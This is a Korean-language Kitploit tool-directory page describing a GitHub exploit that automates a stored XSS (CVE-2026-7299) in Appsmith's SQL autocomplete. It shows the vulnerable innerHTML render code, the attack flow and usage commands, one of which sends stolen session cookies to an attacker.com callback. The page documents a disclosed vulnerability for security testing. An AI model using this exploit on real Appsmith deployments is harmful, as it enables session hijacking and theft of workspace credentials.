Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Appsmith-1.98-Stored-XSS-Exploit — CVE-2026-7299 악용 자동화 - Appsmith =>1.99 내 SQL 자동완성에서 데이터베이스 테이블/컬럼 이름을 통한 저장형 XSS. 최초 발견 30/03/26 | Kitploit
도구/GitHubGitHub/stuub/appsmith-1.98-stored-xss-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubstuub/appsmith-1.98-stored-xss-exploit

Appsmith-1.98-Stored-XSS-Exploit

CVE-2026-7299 악용 자동화 - Appsmith =>1.99 내 SQL 자동완성에서 데이터베이스 테이블/컬럼 이름을 통한 저장형 XSS. 최초 발견 30/03/26

저장소 보기
323개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-7299 - Appsmith 1.98 저장형 XSS (SQL 자동완성 innerHTML 싱크)

Appsmith SQL 쿼리 편집기의 저장형 사이트 간 스크립팅 취약점에 대한 자동화된 익스플로잇입니다. 워크스페이스 개발자는 데이터베이스 테이블 이름을 통해 임의의 JavaScript를 주입할 수 있으며, 이는 다른 워크스페이스 구성원이 SQL 자동완성을 트리거할 때 해당 구성원의 브라우저에서 실행됩니다.

Appsmith v1.98에서 확인되었으며, 사용자 정의 SQL 힌트 렌더러가 존재하는 모든 이전 버전에도 영향을 미칠 가능성이 높습니다. 취약점은 hintHelpers.ts:165에 있으며, CodeMirror의 안전한 기본 힌트 렌더링(textContent)이 사용자 정의 render 콜백으로 재정의되어 innerHTML을 사용해 데이터베이스 테이블 및 컬럼 이름을 표시할 때 어떠한 살균 처리도 하지 않습니다.

사용법

기본 알림 PoC:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!

콜백 서버로 쿠키 유출:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --callback-url http://attacker.com:8888

사용자 정의 페이로드:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --custom-payload ''

PostgreSQL 데이터소스가 아직 존재하지 않는 경우 스크립트가 연결을 자동으로 찾거나 자격 증명을 제공할 수 있습니다:

root@kitploit:~
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --db-host postgres --db-name testdb --db-user postgres --db-pass postgres

예시

Screenshot_20260330_161606

PoC 비디오 데모

https://www.youtube.com/watch?v=1RHBYZ2Bp_A

문서

배경

Appsmith는 오픈소스 로우코드 플랫폼으로, 팀이 데이터 소스를 연결하고 쿼리를 작성하여 내부 도구를 구축합니다. SQL 쿼리 편집기는 연결된 데이터베이스의 테이블 및 컬럼 메타데이터에서 가져온 자동완성 제안을 제공합니다.

hintHelpers.ts의 자동완성 렌더링은 사용자 정의 CodeMirror render 콜백을 사용합니다:

root@kitploit:~
completion.render = (LiElement, _data, { className, text }) => {
    const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
    LiElement.setAttribute("hinttype", hintType);
    LiElement.setAttribute("icontext", iconText);
    LiElement.classList.add("cm-sql-hint");
    LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
    LiElement.innerHTML = text;  // <-- 살균되지 않은 테이블/컬럼 이름
};

CodeMirror 5의 기본 힌트 렌더링은 textContent(안전)를 사용합니다. Appsmith는 사용자 정의 CSS 클래스와 아이콘 속성을 추가하기 위해 innerHTML로 재정의하지만, 실제 텍스트 내용(테이블 이름)은 원시 HTML로 할당됩니다. 데이터베이스 카탈로그에서 DOM 렌더링까지의 8단계 데이터 흐름 중 어느 지점에서도 살균 처리가 존재하지 않습니다.

익스플로잇 흐름

전체 공격은 Appsmith 웹 UI를 통해 수행됩니다.

공격자(워크스페이스 개발자)는 테이블 이름에 XSS 페이로드를 포함한 CREATE TABLE 문을 실행합니다. Appsmith의 PostgresPlugin은 DDL 필터링을 전혀 수행하지 않으며, statement.execute(query)는 DDL을 포함한 유효한 모든 SQL을 허용합니다.

root@kitploit:~
CREATE TABLE "" (id serial primary key);

다른 워크스페이스 구성원이 동일한 데이터소스에 대해 SQL 쿼리 편집기를 열고 쿼리 입력을 시작합니다. 데이터베이스 메타데이터에서 가져온 테이블 이름 제안과 함께 자동완성 드롭다운이 나타납니다. 악의적인 테이블 이름이 innerHTML을 통해 렌더링되어 피해자의 브라우저 세션에서 JavaScript 페이로드가 실행됩니다.

XSS는 피해자의 세션과 함께 Appsmith 애플리케이션 컨텍스트에서 실행됩니다. 공격자는 세션 쿠키(XSRF-TOKEN, SESSION)를 탈취하고, 데이터소스 자격 증명을 유출하거나, 피해자로 API 호출을 수행할 수 있습니다. 피해자가 관리자인 경우 공격자는 워크스페이스에 대한 전체 제어 권한을 얻습니다.

데이터 흐름

root@kitploit:~
PostgreSQL pg_catalog (table_name, column_name)
  -> PostgresPlugin.getStructure()           [살균 없음]
  -> DatasourceStructure Java POJO           [살균 없음]
  -> REST API /api/v1/datasources/{id}/structure  [살균 없음]
  -> Redux state.entities.datasources        [살균 없음]
  -> getAllDatasourceTableKeys selector       [살균 없음]
  -> SqlHintHelper.setDatasourceTableKeys()  [살균 없음]
  -> CodeMirror hint.sql() completions       [살균 없음]
  -> LiElement.innerHTML = text              [XSS]

살균 처리가 전혀 없으므로, 자동완성 렌더러가 호출될 때 페이로드가 innerHTML로 렌더링되어 DOM 내에서 실행됩니다.

참고 자료

  • CVE-2026-7299
  • Appsmith GitHub 저장소
  • CWE-79: 웹 페이지 생성 시 입력의 부적절한 중성화
  • CVE-2026-30862 - TableWidgetV2의 유사한 패턴 (수정됨)
  • 취약 파일: app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165

면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적 서면 허가를 받은 시스템에만 사용하십시오. 이 도구의 오용이나 피해에 대해 책임을 지지 않습니다.

즐거운 해킹 되세요!

도구 다운로드